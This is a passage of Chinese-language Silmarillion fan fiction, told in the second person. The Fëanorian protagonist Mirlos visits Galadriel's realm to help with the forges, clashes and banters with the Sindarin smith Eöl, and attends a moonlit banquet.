迈兹洛斯没说话,这个拥抱只持续了一小会,而后你主动松开手,后退一步,对着他以及他身边的其他费诺里安点点头,“那么,就再见了。” “再见。” 你的话音落下,随之转身离开,尽管你认为这次分别只不过是意见分歧导致的结果,但是在其他精灵看来,这传言几经转手就变成了你和其他费诺里安决裂的谣言了,你还是在很久之后从来到你的领地拜访的加拉德瑞尔嘴里得知这个消息的,她的领地就在你附近,这也是你们约定好的,因此她隔三差五就会来拜访你,你们经常聚在一块讨论治理领土的问题。 这天加拉德瑞尔在结束某个话题后突然说:“我最近听说了一个谣言,是与你有关的。” 嗯,你对此都见怪不怪的了,从你第一个副本开始你就经常谣言缠身,因此你抱着看热闹的心态问道:“是什么呢?” “他们说你自封为精灵领主的行为实则是与其他费诺里安决裂了。”加拉德瑞尔说着,根据她的了解,你的所作所为和所谓的决裂一点关系都没有,只是传播这类谣言的家伙肯定居心叵测,“我想传播谣言的那些家伙肯定想要从中作梗挑拨你和其他费诺里安的关系。” 你的反应很平淡,“那他们未免想得也太简单了吧。”而且这件事情还不需要你来着急,因为听到这谣言的其他费诺里安肯定会比你还要更加着急地揪出造谣者的。你预料得很准确,在得知这个谣言后最气愤的莫过于凯勒巩了,他怒气冲冲地表示一旦找出这些个造谣的家伙一定要他们好看。 库茹芬站在旁边看他的哥哥情绪那么激动,他说:“谣言如风你又该如何找出始作俑者呢?要我说只要我们和弥尔洛斯之间没有因此心生嫌隙那些造谣者的努力就都白费了。” 库茹芬说得很有道理,只是正在气头上的凯勒巩可听不进这话,他的嘴里还在碎碎念,“唉,弥尔洛斯要是知道这个谣言估计也会很伤心的吧。” 伤心那倒论不上,你顶多就是觉得有些好笑而已。 “那你想多了。”库茹芬扯了扯嘴角,按照你的性格怎么可能会因为这件小事就难过,毕竟你可是能够当着其他精灵的面说出自己才是至高王最佳选择的精灵,说实话,库茹芬当时被你惊讶得甚至无法将目光从你身上移开,如果说在这之前他还觉得你只是一位优秀的诺多精灵的话,那么在经过这件事以后他认为你才是最像费艾诺的精灵。 凯勒巩压根没把库茹芬说的话听进去,还在一个劲地咒骂那些造谣者,甚至还抽出几张信纸准备给你写信,他每次给你写的信都是两张信纸起步,而且每张信纸都写得满满当当密密麻麻的, 生怕自己漏掉了什么事情没有和你说。 库茹芬说:“你又要给她写信了?我记得你上次寄过去的信件她都还没有回复吧?” 凯勒巩头也没抬,他在信纸上写了个开头,过了一会才慢悠悠地回答库茹芬,“那又怎样,她现在肯定有很多事情要忙的,她可是领主了,偶尔没空回复我的信件也是很正常的吧?” 他倒是很擅长安慰自己,远在自己领地的你还不知道没过多久你就要收到凯勒巩的好几封信件了,你还在和加拉德瑞尔讨论别的事情,加拉德瑞尔前些天刚刚去了多瑞亚斯一趟,虽说辛葛王并不待见出奔的诺多精灵,但加拉德瑞尔的母亲是泰勒瑞族的天鹅公主,因此和这位辛葛王也有着血缘关系,所以她以及她的那些哥哥们都能去往多瑞亚斯做客。 加拉德瑞尔从迈雅美丽安那里学来的知识也都会欣然分享给你,你们往往能聊一整个下午都不觉得无聊,“不如这样吧,下次你可以来我的领地看看,有些问题不是我三言两语能够形容的。”加拉德瑞尔在得到自己的领地后非常上心,看得出来她想要成为一位优秀的精灵领主,而且她也非常感谢你,如果不是你作为先例,恐怕她也不会那么顺利地拥有自己的领土。 面对加拉德瑞尔的邀请你也答应了下来,正好这段时间你的领地内事情都处理得差不多了,你可以抽空去别的领地看看,在离开前你将重要的事情都向自己的助手迪莉娅交代了一遍,她听得很认真,遇到有些模棱两可的问题也会当即询问。 “弥尔洛斯大人,您大概什么时候回来呢?”迪莉娅又问。 “这个我也不能确定,大约半个月吧。”这就得取决于加拉德瑞尔领地内的问题复杂程度了。 迪莉娅点点头,“好的,那我明白了。” 在启程的前一天晚上你待在自己的书房里查看其他精灵写来的信件,要说给你写信写得最多的,那莫过于凯勒巩,你都要怀疑他是不是每天都会抽空给你写信,毕竟他的信件都要用箱子来存放,至于其他的费诺里安,来信最少的那就是迈兹洛斯了,不过你也能理解,毕竟你们当初分别的时候他还一副欲言又止的样子,估计他确实有很多话想要对你说,只是不知道如何开头,所以最后索性就烂在了心里,这就是他的行事风格。 但你和不怎么在乎他是否写信过来,如果真的写了信,那你还得写回信,想想也觉得有些麻烦的。 你抽出一张信纸给凯勒巩简单地写了一封回信,就是字面意思上的简单,你将自己最近发生的事情一笔带过,在信件结尾附上对其他兄长的问候。 等这封信送到凯勒巩手上的时候你也已经来到了加拉德瑞尔的领地,这次换做她热情欢迎你的到来,她牵着你的手说:“你来得比我想得还要更早一些。” “因为我想着尽快解决你这里的问题。”你说。 “其实在你之前辛葛陛下还派来了另外一位助手,正好你们今天还能见一面。”加拉德瑞尔说着说着,顿了一下,她的表情变得有些微妙,“只不过,他可能不太喜欢费诺里安,所以……” “我知道,我会装作自己不是费诺里安的。”你从善如流地回答,却没成想加拉德瑞尔连连摇头,她解释道:“不,我不是这个意思,我想说的是,你无需在他面前隐瞒自己的费诺里安身份,而且一旦他对你表现出敌意的话,请务必第一时间告诉我。” 她轻轻地摇晃了一下你的手,仿佛是在安抚你,“毕竟这里是我的领地,我是领主,他就算是辛葛派来的也得听我的命令。” 你挑起一边的眉,半开玩笑地说:“好的,我尊贵的领主大人。” 加拉德瑞尔轻笑出声,“可以了,不要再打趣我了。” 你跟随着加拉德瑞尔的脚步来到宫殿内,她先是带着你去书房,给了你几份文件,其中就是关于矿石开采还有冶铁这方面的情况,她说:“虽然诺多精灵都是锻造的好手,但这里不是维林诺,这里是中土,气候不同,环境不同,在维林诺的锻造方法在这里并不适用。” “我可以再派遣一些矮人工匠过来。”你的领地内就有不少矮人工匠,多亏了你之前和那位矮人王子奥特打好关系,他为了表示友好,在听闻你开拓新的领地时也派出了许多能工巧匠来帮助你建设领土,这些矮人和你的精灵子民相处融洽,你的精灵甚至还结合了矮人酿酒的优点酿造出了风味独特的美酒风靡整片领土,就连矮人那边也是连连称赞。 加拉德瑞尔点点头,“那真是太感谢你了。” 你把她给的文件都看了一遍,最后整理整齐后放在一边,你说:“不如让我先去看看你的工坊吧?我想知道那里都是什么情况。” “可以。”说着,你们纷纷起身走向工坊,为了保证武器的产量,工坊的数量往往都在两位数,那些燃烧着火焰腾升起热气的工坊日夜不休地制造武器,以备不时之需,工坊坐落在宫殿后的那片后山里,临近森林,附近还有一个矿洞,很多资源都能就地取材,因此锻造的效率也大大提升。 但你们走到一半就有一位下属急匆匆地来到加拉德瑞尔身边,在她耳边低语几句,加拉德瑞尔有些为难地看了你一眼,你很是体贴地说:“没关系,我可以自己去看看的,你有事那就先忙吧。” 加拉德瑞尔抱歉地对你说:“等我处理完手头的事情就过来找你。” 你点头示意,旋即在另外一个精灵的带领下来到后山的工坊,那位领路的精灵名叫艾斯黛拉,她对你充满好奇,她不是诺多精灵,而是本来生活在多瑞亚斯的泰勒瑞精灵,当初听说加拉德瑞尔要建立自己的领地,她出于好奇就也跟着来到这里,作为一个从未去过维林诺的精灵,她对你们出生在维林诺的精灵无比好奇。 她问了很多关于维林诺的问题,你都耐心地一一解答,有时候甚至还会说几个有趣的小故事,艾斯黛拉听得很认真,时不时冒出几句“真的吗?”“真神奇啊”诸如此类的话,在谈话间你们沿着小路来到后山,艾斯黛拉眺望不远处的工坊,她说:“您先在这里稍等片刻,我去和里面那位大人通报一声。” 话音落下,她一溜烟地就跑得没影了,你也听从她安排地站在原地,过了好一会你都没看见艾斯黛拉的身影,你便在这周围随心所欲地漫步,那工坊旁边还有一条平静的小河,你站在河边,几条游鱼在清澈的河水中游动,你垂下眼帘。 在此时微风拂过,吹动你的衣角,拂动平静的河面,除了青草被拂动发出的窸窣声响,你还听见了另外一道声音,“你又是谁?” 那声音对你来说很熟悉,你想了想,当你抬起头看向对方的时候脑袋里也浮现出了那个答案,原来是曾经被你杀死的精灵埃欧尔,当然,在这个时间线里他既没有囚禁你,更没有被你杀死,此刻的他只是皱起眉,很疑惑你这个陌生的精灵怎么会出现在这里。 这个见面的场景似曾相识,他就站在河对岸,他的神色略显阴沉,他说:“回答我的问题。” 不同于他莫名的烦躁,你就显得游刃有余多了,你从容地说:“我是加拉德瑞尔大人邀请来的客人。” “她邀请的客人?我怎么没有听说过?”埃欧尔对你说的话半信半疑,不知道为什么,他在看到你的一瞬间内心无端浮现出微妙的烦闷,但他可以确定自己这是第一次见到你,难不成他以前还见过你吗? “是的,弥尔洛斯,这是我的名字。”你对他还算有礼貌地微微俯身行礼,当然只是看上去有礼貌而已,实际上你对这位精灵也没什么耐心和尊敬的。 埃欧尔若有所思,你猜他可能是在思索自己是否在哪里听过你这个名字,过了一会,他才说:“我叫埃欧尔。” “好的埃欧尔大人,那么请问您又为什么会出现在这里呢?我先前都没听加拉德瑞尔大人提起过您。”你把他原先的问题又给抛了回去,后者隐约察觉到你这么做带着几分隐蔽的报复心理,他说:“我是辛葛王派来的,帮忙监督这里的工坊武器锻造,你之所以不知道大概也是因为你没必要了解那么多。” 真是个坏脾气的精灵,你在心里这样评价一句,但面上的表情没什么变化,甚至还带着看似和善的笑容,你说:“是么,我可不这么认为。” 埃欧尔的双眼一眨不眨地盯着你看,也不知道他的内心都在想什么,你对此也不好奇,总 之肯定不会是什么好事的。 就在你们的对话陷入僵局的时候刚才去工坊通知消息的艾斯黛拉忽然出现在你们面前,她一路急匆匆地跑过来气息都乱了,她一看见埃欧尔就惊讶道:“原来您在这里啊,我刚才都没在工坊找到您,噢,看起来您已经和领主大人的客人见过面了。”艾斯黛拉的语调欢快,似乎丝毫没有察觉到你和埃欧尔之间尴尬的气氛,她如同一只欢快的小鸟跑到你身边。 “这位就是从多瑞亚斯来的埃欧尔大人了,专程来这里监督武器制造的,哦对了,这位客人名叫——” 艾斯黛拉正要向埃欧尔介绍你的,但后者直接出声打断她的话,“不用介绍了,我刚才已经知道她的名字了。”那语调很冷淡,虽然算不上有敌意,但也不怎么友善,你对此接受良好,反正你也没想着和埃欧尔打好关系,只是点头之交的关系就很好了。 “那看来你们相处得应该很愉快吧。”艾斯黛拉还以为你们刚才聊得很开心,唉,那她真是太天真了,但你没有多说什么,而是拍拍艾斯黛拉的肩膀,“现在我们该去工坊看看了。” 你穿过架在河面上的小桥,从埃欧尔身边走过,他也跟上你们的脚步,他那探究打量的目光一直没从你身上移开过,你被他盯得有些不耐烦了才说:“既然是辛葛王派您来到这里的,那想必您的锻造技艺肯定非常优秀吧?” 埃欧尔不仅是个阴郁的精灵,更是个自傲的精灵,他对自己的技艺有着极高的自信,他说:“那是自然的。” 你只不过是随口奉承一句而已,他居然还当真了么,你不动神色地撇撇嘴,好在有艾斯黛拉在,她一直在活跃气氛,你只需要时不时地应两句就好。 终于来到了工坊入口,还没走进去你就感受到了扑面而来的滚滚热浪,这让你不由得微微眯起眼睛,身旁的埃欧尔将你这小动作收入眼底,他半是嘲讽地说:“看来你不太适应这里?”言下之意就是如果不能适应那就赶紧离开,省得在这里碍手碍脚。 但你没有后退,反而侧过头直视他的双眼,眼里没有一丝一毫的退意,你说:“不,我只是在想这和我们诺多的工坊有些不同而已。” 埃欧尔对诺多精灵实在是没什么好感,尤其是在他看来就是这群不安分的诺多将黑暗的阴影带到了这片大陆,如果不是辛葛王的命令,恐怕他都不会来到加拉德瑞尔的领地,更不可能协助这些精灵,但陛下的命令无法违抗,所以埃欧尔只能带着不耐烦的怒气去履行责任,而他这份不满以及隐约的怒火在看到你的那一刻又从心底浮现出来。 毫无疑问的,他应该是讨厌你的,但这份厌恶里还夹杂着对自己的厌恶,他也搞不清楚这份厌恶从何而来,就像是突然冒出来的一样。 “你们诺多精灵自然和我们不同。”埃欧尔说,话语间他终于将目光从你身上转移,这时候艾斯黛拉也意识到你和埃欧尔似乎不对付,她站在你和埃欧尔中间小心翼翼地看看你,又转过头看看埃欧尔,生怕你们会产生冲突。 “呃……的确,诺多精灵和泰勒瑞精灵存在区别,但无论怎么说,这两族也是亲族同为精灵。”艾斯黛拉尽可能打着圆场。 但你可没想着和埃欧尔正面起冲突,毕竟你来这里就是为了帮助加拉德瑞尔解决问题的而不是来给她增加问题的,所以你面对埃欧尔有意无意地挑衅也只是视而不见。 你在工坊里转了一圈,听说这里建造之初的设计草图就是由埃欧尔负责绘制的,所以他对这里非常熟悉,你在观察工坊内部的布局时埃欧尔也在观察你,只不过他的观察非常隐蔽,你一时之间甚至都没有察觉到。 “这里的结构布局都非常合理,说起来这都是您的功劳。”说着,你对埃欧尔笑了一下,后者因为你的笑容忽然楞了几秒,然后有些不耐烦地“啧”了一声,他说:“这种事情还轮不到你来说。” 你耸耸肩,艾斯黛拉真是害怕极了,与此同时,她也觉得非常奇怪,因为在你来之前埃欧尔的脾气虽然有些古怪,但还不至于那么其势汹汹。 难道你们之间有过什么过节吗?但看你们的样子似乎是第一次见面呀。 艾斯黛拉的脸上布满了疑惑。 “不过我想如果再增加一些矮人的能工巧匠,想必这锻造效率也会大大提升。”你说。 埃欧尔问道:“你还和矮人打过交道?” 他怎么会表现得那么惊讶呢,你说:“这有什么好奇怪的呢?您应该也是矮人的好伙伴吧?” 好伙伴倒是算不上,顶多就是合作关系,只是在他的印象里,诺多精灵往往性格高傲,甚至都不把泰勒瑞精灵放在眼里,更别提和矮人打交道了。 而且更重要的一点是,你不光是个诺多精灵,还是一位费诺里安,没错,就是亲手制造了亲族相残的费诺里安。 埃欧尔没应声,像是忽略了你说的话,又或者是他还没有想好该怎么回答。 在工坊看了几圈以后,你正打算离开这里,艾斯黛拉在隔壁的工坊帮忙,一时半会儿没办法顾及到你们。 见你要走,埃欧尔忽然说:“你会在这里停留很长时间吗?” 你还以为他这是无法忍耐你的存在,想要找个机会把你赶走呢,于是你很贴心地说:“不,这一点您大可以放心,要不了多久,我就会从这里离开的。” 埃欧尔听到你这么说以后表情更加奇怪了。 第122章 第122章“抱歉,我的原意并非…… 从工坊离开以后你又回到了宫殿,这时候恰好加拉德瑞尔也完成了手头的工作,她先是看见了你,而后又瞧见跟在你身后不远处的埃欧尔,她说:“看来你们已经见过面了。” 你没回头也知道埃欧尔肯定还跟在你身后,如影随形,他就那么喜欢尾随吗?你说:“是的,这位客人真是出乎我的意料。” 别以为你不知道埃欧尔此时此刻肯定还在偷听你和加拉德瑞尔的对话,因此你也没有说太尖锐的话语,语气也还算温和,但加拉德瑞尔很了解你,和你交换一个眼神就知道你心里在想什么了,她旋即又对着你身后的埃欧尔礼貌地笑了一下,“埃欧尔大人我接下来还有些私事要和她说。”言下之意就是让他避一避。 埃欧尔凝视着 你的背影,就在加拉德瑞尔以为对方不同意的时候他才出声,“我知道了。”而后转身离开,一等埃欧尔离开,你便牵起加拉德瑞尔的手与她走向她的书房,路上加拉德瑞尔还问:“他应该没有冒犯你吧?” “那就得要看你对冒犯的定义是什么了。”你漫不经心地说,“但他说话确实不太客气。” “那是他的问题,这位精灵性格向来如此,当然,我这么说不是为他开脱,而是想告诉你尽可能减少和他的接触,他对诺多精灵没什么好感。”加拉德瑞尔说着,其实她原本按照计划你应该在埃欧尔离开她的领地以后才到访的,但是现在计划有变,你提前来到这里,于是你们两个就撞到一块去了。 但其实你压根没把埃欧尔放在心上,你说:“我能明白你的意思,不过请你放心,我还不至于因为他的三言两语而难过。”再说了,你在第一个副本的时候甚至还被他诅咒过呢,所以现在这个相处模式在你看来简单多了。 “那就好。”加拉德瑞尔后来又说起关于工坊扩建还有武器更新迭代的事情,聊着聊着你们的话题就不可避免地偏转到了北方的安格班,加拉德瑞尔拥有预知能力,追随她的精灵里也有一些具有预知能力的精灵,因此她将这些精灵组成一个小队,时刻监视北方的安格班,监视的结果再综合预知的结果,这些信息没有局限在这块领地里,因为你先前提到过信息互通的建议,所以诺多精灵不同领地之间都会相互交换情报。 这样一来至少魔苟斯有什么动作你们就都能第一时间发现。 “最近这些天我时常能在梦中梦见红色的龙焰。”加拉德瑞尔说,这件事情显然让她很在意,因为你看到她的眉头都皱了起来,“那火焰席卷整片大地,顷刻间寸草不生,生灵涂炭。” “我已经让矮人打造了一大批能够抵抗火焰的盔甲了。”你说,这就是和矮人打交道的好处,矮人打造的盔甲具有强大的防火属性,哪怕对上龙焰也不甘示弱。 “我知道。”加拉德瑞尔应了一声,她勉强笑了一下,“有时候我都在想我是不是还沉浸在梦里。”因为这一切的发展以前只存在于她的脑海里。 你低头翻阅一本精灵诗集,没抬头,“我也是这么觉得的。”或许等你醒过来的那一刻就是你真正摆脱束缚的那一刻。 直觉告诉加拉德瑞尔你们说的不是同一件事,但她没有继续往下说,你在加拉德瑞尔的领地停留的这几天基本上都在帮忙处理问题,没空欣赏这里的风景,和你一样那么忙碌的精灵还有另外一位那就是埃欧尔,由于工作的缘故你们这些天不得不凑在一块讨论接下来的计划,为了避免他对你的偏见影响工作的推进,你和他第二次见面的时候就开门见山地说:“我希望我们可以抛去心中的成见愉快合作。” 彼时的埃欧尔正在绘制工坊扩建的图纸,听到你那么说他抬起头,你无法从他的脸上读出任何有用的信息,你只能静静等待他的回答,他说:“我对你可没什么偏见。” 是么,你怎么不太相信呢。 结果埃欧尔下一句话就坐实了你的猜想,他接着又说:“那些并非偏见而是事实。” 果然,这家伙没有那么容易应付。 “好吧,您的想法我无权干涉,但我想我们现在的目的是一致的,那么如果您要被这些情绪左右的话,说实话,在我看来这是非常不成熟的做法。”你这话已经说得足够委婉的了,要是放在平常,你估计会一针见血地指出他这行为有多幼稚可笑。 埃欧尔握着笔的手停顿了一下,他索性放下笔,抬起头与你四目相对,“不成熟?你这位诺多精灵应该知道你的兄弟才是最不成熟的精灵吧?他们对泰勒瑞犯下的罪孽可不是轻飘飘的道歉就能一笔带过的。” 果然他还在纠结这件事,你摊手,“我并没有参加这件事。” “但你也是他们的妹妹,也是一位费诺里安。”埃欧尔非常固执地说。 “如果你真的厌恶我的话,估计都不会和我说话,既然你愿意和我对话,就意味着至少你对我的印象没有那么糟糕。”你说了一长串话,就跟在绕口令一样,而且此时的你都忘了使用敬称。 埃欧尔扯了扯嘴角,果然你之前的温和都是伪装出来的,一旦情绪波动就会展现出真实的一面,他嘲弄地笑了,“你这是在玩弄文字游戏。” “我这也是实话实说。”你忽视他那嘲讽的笑容,“而且你不也会偷偷看我吗?这是你的厌恶的表现吗?” 被你那么一说,埃欧尔的表情有一瞬间僵住,他想要找回主导权,可是没成功,因为你似笑非笑地盯着他看,这让他更加烦躁不安了,他不耐烦地说:“你别自作多情了!” 你才说了那么几句话而已他怎么就那么着急了呢? “我说的都是事实,好了,还是不要跑题了,我们还是聊正事吧。” 经过这一遭,埃欧尔总算不再挑你的刺了,大概是他也意识到自己说出的话很可能在未来的某个时刻化作回旋镖扎回到自己身上,他耐着性子和你讨论之后的计划,因为你在和他见面之前就已经早早拟定了一份草案,所以照着草案来讨论就会方便许多,至少在你看来是这样的。 这场对话快要进入尾声的时候埃欧尔忽然又问:“那么你现在是和你的那些个哥哥决裂了吗?” 有他这么问问题的吗?你莫名觉得有些好笑,也不知道他是从哪里得到的这个消息,你和其他费诺里安只是减少了见面次数而已,这和决裂根本不沾边,而且你也不觉得你和他的关系已经亲近到了他可以询问你这种问题的地步。 因此你没有马上回答,而是低头整理草案,在此期间埃欧尔的目光一直落在你身上,你都视而不见,等你整理好文件,这才慢吞吞地说:“这件事情似乎和您无关吧啊?” 你又恢复了对他的敬称,但是这一改变也没让埃欧尔多开心,他甚至有些不满。 他在为什么而感到不满呢?他也不太确定,毕竟你之前直呼他的名字他还会觉得你太自以为是了。 “你怎么能那么确定就是无关的呢?毕竟现在你们诺多精灵也来到了贝烈瑞安德大陆,你们的一举一动都会影响到这片大陆上的其他精灵。”这话说得很冠冕堂皇,乍一听好像还很有道理,但仔细分析一下就会发现这其中还掺杂着他的几分私心。 你单手托腮,“您真的是那么想的吗?可我怎么觉得您别有用心呢?” 你的眼瞳是纯粹的黑色,长久的注视仿佛自己的灵魂都会被你的眼瞳所吞噬,埃欧尔移开视线,“别有用心?论起别有用心,谁能比得过你们费诺里安呢?” 这个话题没必要再继续下去了,埃欧尔的对费诺里安乃至对诺多的偏见不会因为你的三言两语而消除,而且你的工作交接已经差不多完成了,接下来你只需要解决一些别的小问题就好了,因此你当即就要起身,但是没成想埃欧尔忽然叫住你,“你要去做什么?” “我做什么还得要向您汇报吗?我记得这里似乎不是您的领土吧?这里的领主是加拉德瑞尔。”你笑眯眯地说。 埃欧尔也站起身,“的确,我只是随口一问而已。” 但愿他真的只是随口一问吧,你从这个偏僻清静的会客厅离开,没走出一段路就与艾斯黛拉打了个照面,她每天都是活力充沛的状态,一见到你她就兴奋地冲你挥挥手,“上午好啊弥尔洛斯大人。” 你也对她点点头 ,“上午好,艾斯黛拉。” “您这是要去做什么?是要去找加拉德瑞尔大人吗?但她现在好像在接待客人,是从多瑞亚斯来的客人。”说着说着,艾斯黛拉脸上浮现出揶揄的笑容,“他们估计要聊很久。” “是哪一位客人?” 艾斯黛拉仿佛找到了讨论八卦的搭档,兴冲冲地环住你的胳膊,“自然是凯勒博恩大人啦,您是不知道,当初加拉德瑞尔大人来到多瑞亚斯的时候凯勒博恩就对她一见钟情,所以尽管现在他们不在同一个国度,但凯勒博恩大人还是会时不时地过来做客。” 到底是真心来做客还是为了别的,你一听就知道了,为了方便聊天你和艾斯黛拉走到花园里找到一条长椅坐下,艾斯黛拉说着许多关于这两个精灵的小事情,你之前怎么没有发现她还有做情报员的天赋呢,居然观察得这么细致入微。 “总之,我希望他们能够修成正果,这对于多瑞亚斯也好,对于诺多也好都是一件幸事。”艾斯黛拉笑着总结道。 明明都是从多瑞亚斯出来的精灵,艾斯黛拉和埃欧尔的差别可不是一星半点的,你说:“难道你不会因为天鹅港事件对诺多心存怨念吗?” “嗯……这件事情我也考虑过,但是我认为不应该让仇恨吞噬我们的生活,难道我们的生活都要为仇恨和复仇而让步吗?要为此而放弃追寻生活中美好的事物吗?如果真的是这样的话,那我会觉得很难过的,而且再说了,加拉德瑞尔大人并没有参与天鹅港的事件,您也是。” 不得不说,艾斯黛拉在问题的处理方法上可比埃欧尔成熟多了,至少她不会一杆子把所有的诺多精灵都判死刑,你说:“这样一看还是你更加成熟一些,你比埃欧尔成熟多了。” 从你嘴里听到埃欧尔的名字,艾斯黛拉的表情莫名变得微妙,她忽然问道:“您觉得埃欧尔大人如何呢?” 你如实回答:“不怎么样,斤斤计较心胸狭窄。” 你这话都是发自内心的,但是艾斯黛拉却在此时笑了起来,这个笑容那么不合时宜,你疑惑地看向她,仿佛在无声地问:你又在笑什么? 艾斯黛拉说:“您原来是这么想的吗?” 不然你还应该怎么想呢?认为他是一位有礼貌的精灵吗? “难道不是吗?” 艾斯黛拉欲言又止,因为在她看来事情可不是这样的,她在内心纠结该如何委婉地告诉你,尽管她斟酌了自己的用词,但等她开口的时候似乎还是说得太直接了,她说:“他似乎对您没有恶意,相反地,他只是不太擅长表达自己的情感而已。” 听到这里你忍不住笑了,就好像自己刚才听到了什么好玩的笑话,如果她真的是想要说笑话逗笑你的话,那她无疑是成功了的,但问题在于她是很认真地说出这番话的,你说:“这就是他的问题了,我没有义务因为他不善表达感情而体谅他,这不是我的责任,同样的,你也没有义务去替他辩白,我们不如聊点别的吧,别再说这些无趣的家伙了。” 艾斯黛拉一时之间不知道该怎么回答,因为你说得好像确实很有道理,她沉默了一会,又换了个话题,她说:“领主大人上次还在说等这次的扩建结束以后就举办一场宴会的,到时候您会参加这场宴会吗?”她的语调里带着几分期待,你推算了一下时间,等到工坊扩建完成那都得要等到好几个月以后了,你自然是不可能在这里停留那么久的,毕竟你还得要管理自己的领地呢,你离开的这些天你的助手迪莉娅就写了好几封信过来,都是因为出现了问题征求你的意见。 你说:“我恐怕等不到那个时候了。” “噢……好吧。”艾斯黛拉难免有些失落,但你的下一句话却让她又马上抬起头来,你说:“日后有机会你也可以来我的领地做客,我和我的子民都会欢迎你的到来的。” 艾斯黛拉的眼睛变得亮晶晶的,“真的吗?那真是太好了,说起来我除了这里还有多瑞亚斯我都没去过别的精灵领地呢。”虽然你只是随意地说了一句,但她已经开始畅想之后的度假生活了。 你在这里的生活虽然有些繁忙,但总得来说也还算平静,毕竟你和加拉德瑞尔很聊得来,就算不是谈论工作,闲暇之余你们也时常凑在一块聊天,而那位从多瑞亚斯来的凯勒博恩有时候会坐在加拉德瑞尔身边安静地听你们聊天,偶尔也会说两句话,从他和加拉德瑞尔的眼神里你能够看得出来他们彼此相爱,只是现在这个情况并不适合开展一段恋情,想必无论是凯勒博恩还是加拉德瑞尔都明白这一点,因此他们都保持着微妙的距离,谁都没有点破这份暧昧的气氛。 好在你已经见过太多大风大浪了,因此面对他们这么暧昧的气氛你也能装作没看见,面色如常地和加拉德瑞尔聊别的,加拉德瑞尔又说:“我可以把那场庆祝宴会提前。”看得出来她是真心想要让你参加这场宴会,而且她也考虑到你的时间安排,所以干脆打算把这场宴会的举行时间提前。 “这样对你来说或许有些太麻烦了。”你说。 加拉德瑞尔摇了摇头,“不算麻烦,而且你的到来还为我解决了很多问题,如果不能表达我的谢意,那我就算不上是个合格的朋友了。”看来她心意已决,你松了口,“好吧,那我就留下来参加这场宴会。” 凯勒博恩和加拉德瑞尔不约而同地笑了,凯勒博恩又说:“对了,您和埃欧尔似乎相处得很好是吗?” 嗯?这话又是谁说的?未免也太颠倒黑白了吧,什么叫做相处得很好,你甚至觉得埃欧尔会做出背地里背刺你的行为,你的疑惑溢于言表,“什么?” 加拉德瑞尔也觉得凯勒博恩这是哪壶不开提哪壶,她说:“我怎么没听说过?” 凯勒博恩不好意思地笑了笑,他说:“因为昨天埃欧尔还在询问我关于您的事情,我也觉得奇怪,是什么让他认为我对您很了解的呢?” 是啊,到底是什么让他产生这种错觉的呢? “所以您又是怎么回答的呢?”你对这个问题更加好奇,凯勒博恩如实回答,他说:“我对他说我也不太了解您,而且如果有什么事情,我想还是他和您当面谈比较好。” 他这话说得没错,只不过你和埃欧尔也没有什么好聊的,你隐约能感知到他那藏在不友善背后的探究,带着隐蔽的窥探欲,这让你觉得很不爽。 加拉德瑞尔注视着你若有所思的侧影,她说:“虽然你们都是这里的客人,但你还是我的朋友。”言下之意就是你的重要性远在埃欧尔之上,也是,就凭埃欧尔这脾气,想必他也不会给加拉德瑞尔好脸色看的,难怪加拉德瑞尔提起他的时候面色平静中透露出几分疏远,她的确很感谢他的帮助,但他的性格实在是不敢恭维。 凯勒博恩也顺着加拉德瑞尔的意思说:“是的,而且也不是所有的精灵都能成为朋友,能否成为朋友也是看缘分的。”凯勒博恩说得头头是道,你都没怎么听进去,不过在几天后,你在河边散步的时候意外地偶遇了埃欧尔,其实你觉得这并非偶遇,更像是他一直在留意你的行踪然后制造出的巧遇。 但你面上还是说:“真是巧遇啊埃欧尔大人。”后者表情还是一如既往的阴沉,你就没见他真正开朗的笑过,或许在第一个副本他也有真心笑过,但你已经记不清了,你停下脚步,因为埃欧尔就站在你的不远处,拦截你的去路,他还丝毫不觉得自己做错了什么,他说:“你要什么时候离开?” 怎么还问这个问题啊,看样子 他是巴不得你尽快离开这里是吧,你说:“就快了,您很快就能如愿见不到我了。” 埃欧尔略带惊讶地反问:“什么叫做‘如愿’?这可不是我的愿望。” 什么,难不成他还希望你在这里多停留一段时间吗?你真是搞不懂他的脑袋里到底在想什么,你说:“那么您到底在希望什么呢?不妨说出来让我听得明白一些吧。” 埃欧尔却忽然卡壳了,他说:“……至少别用这嘲讽的敬称来称呼我了。” 原来他能听出来你这是在嘲讽他啊,你耸耸肩,“抱歉,我的原意并非嘲讽你。” 而你的道歉也并非诚心诚意,埃欧尔在心里想着。 “你离开这里以后还会去别的地方吗?”埃欧尔平日里肯定不怎么和精灵聊天,因为他套话的水平真是烂透了,你一听就知道他想从你嘴里套出你之后的行程,你说:“自然是回我自己的领地了,你难道忘了吗?我也是一位精灵领主啊。” “你们的至高王是如何让一位女精灵成为领主的呢?” 他说的这话还真是一下子就把你们之间的气氛给引爆了,你说的是字面意义上的引爆,你笑嘻嘻地说:“我也不清楚,只不过现在诺多至高王的位置还空着呢。” 第123章 第123章“你……我们日后还会…… 为庆祝工坊扩建的宴会提前举行,眨眼间就到了宴会当天,为了表示对这场宴会还有加拉德瑞尔的重视,你特意打扮了一番,平日里你为了方便基本上都穿着轻便的战斗服,腰间佩戴着佩剑还有匕首,如今换上一身礼服,气质也随着发生了微妙的变化,艾斯黛拉在见到你的第一面就惊讶道:“您今天和平常截然不同!” 艾斯黛拉还想着组织语言赞美你一通的,但她愣愣地盯着你看了半天都没出声,她知道自己现在这副样子肯定很傻,等她反映过来以后她就不好意思地笑着说:“抱歉,我刚才都不知道该说些什么好了,因为您……实在是太美丽了。” 你只不过是穿上了先前凯勒巩送给你的海蓝色长裙,这条裙子从设计到制作都是他一手完成的,他在把这条裙子送给你的时候甚至还详细地介绍了这裙子的设计理念,灵感来源于他当初看见你从海面下探出上半身的画面,因此这礼服的裙摆还有袖口都有着独特的波纹设计,伴随着你举手投足的动作,那纹路荡漾开就如同真实的海水在流动,流光溢彩。 艾斯黛拉陪你走到宴会厅,这里的宴会厅穹顶设计成可以打开的样式,天气好的夜晚精灵们就会打开这穹顶,让皎洁月光流泻而下,今晚的月光明亮,顺着宽阔的穹顶洒向整个宴会厅,因此厅内都没有点亮太多的灯火,那月光是最主要的光源。 加拉德瑞尔正在和凯勒博恩交谈,见状,你没有贸然上前打断他们的对话,而是站在一旁静静地注视着他们,你拿起长桌上的酒杯,还没等你喝一口,埃欧尔的声音就幽幽地飘到你的耳边,他说:“他们的爱情实在是奇怪。” 